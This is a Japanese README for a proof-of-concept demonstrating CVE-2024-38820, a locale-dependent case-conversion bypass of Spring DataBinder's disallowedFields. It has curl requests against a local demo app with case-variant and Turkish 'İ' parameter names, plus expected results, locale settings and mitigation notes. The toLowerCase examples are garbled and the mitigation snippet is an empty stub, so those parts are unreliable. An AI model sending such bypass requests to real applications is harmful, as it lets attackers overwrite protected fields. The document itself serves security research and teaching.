
CVE-2024-38820の概念実証エクスプロイト。Spring Framework DataBinderのdisallowedFields保護に対するロケール依存の大文字小文字変換バイパスを実証し、自動テストと緩和ガイダンスを提供します。
このプロジェクトは、CVE-2024-38820 を実証します。これは、Spring Framework の DataBinder における脆弱性で、ロケール依存の大文字小文字変換の問題により disallowedFields 保護をバイパスすることを可能にします。
String.toLowerCase() の動作がロケールによって異なるCVE-2022-22968 の修正により、String.toLowerCase() を使用して disallowedFields パターンが大文字小文字を区別しなくなりました。しかし、このメソッドにはロケール依存の例外があります:
"ADMINID".toLowerCase() は "adminıd" になります (ドットなしの ı)"ADMINID".toLowerCase() は "adminid" になりますこの違いにより、攻撃者は特定の大文字小文字のバリエーションを使用してフィールド保護をバイパスできる可能性があります。
src/
├── main/java/com/example/demo/
│ ├── DemoApplication.java # Spring Boot main class
│ ├── controller/UserController.java # Vulnerable controller with @InitBinder
│ └── model/UserInfo.java # Model with protected adminId field
└── resources/application.properties # Locale configuration
test-cve-2024-38820.sh # Automated test script
pom.xml # Maven dependencies (Spring 5.3.39 - vulnerable)
# Build the project
mvn clean compile
# Run the application
mvn spring-boot:run
アプリケーションは http://localhost:8081 で起動します
ロケール情報を確認するにはテストエンドポイントにアクセスしてください:
http://localhost:8081/test
さまざまなフィールド名のバリエーションを試してください:
# Normal case (should be blocked)
curl "http://localhost:8081/user?username=test&adminId=999"
# Uppercase (may bypass)
curl "http://localhost:8081/user?username=test&ADMINID=999"
# Mixed case (may bypass)
curl "http://localhost:8081/user?username=test&AdminId=999"
# Turkish İ character (may bypass)
curl "http://localhost:8081/user?username=test&ADMİNID=999"
包括的なテストスクリプトを実行:
./test-cve-2024-38820.sh
adminId=999 → ブロック (通常のケース)ADMINID=999 → バイパス (大文字)AdminId=999 → バイパス (混合ケース)ADMİNID=999 → バイパス (トルコ語の İ)adminId=999 → ブロック (通常のケース)ADMINID=999 → ブロック (保護済み)AdminId=999 → ブロック (保護済み)src/main/resources/application.properties を編集:
# Turkish locale (vulnerable)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR
# English locale (protected)
# spring.web.locale=en_US
# server.servlet.locale=en_US
JVM デフォルトロケールを設定することもできます:
mvn spring-boot:run -Duser.language=tr -Duser.country=TR
@InitBinder が disallowedFields("adminId") を設定toLowerCase() を使用して大文字小文字を区別しないマッチングを実行"ADMINID".toLowerCase() ≠ "adminid"adminId が設定されるアプリケーションは詳細情報をログに記録します:
=== CVE-2024-38820 PoC - Locale Information ===
JVM Default Locale: tr_TR
Test field 'ADMINID' toLowerCase(): 'adminıd'
Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
DataBinder configured with disallowed field: 'adminId'
ロケールを認識するフィールドマッチングを使用:
@InitBinder
public void initBinder(WebDataBinder dataBinder) {
// Use English locale explicitly
dataBinder.setDisallowedFields("adminId");
// Additional protection: check field names with specific locale
}
ロケール依存の操作に依存しないカスタムフィールド検証を実装します。
この概念実証は教育およびセキュリティ研究目的のみです。責任を持って使用し、所有するシステムまたはテストする明示的な許可を得たシステムでのみ使用してください。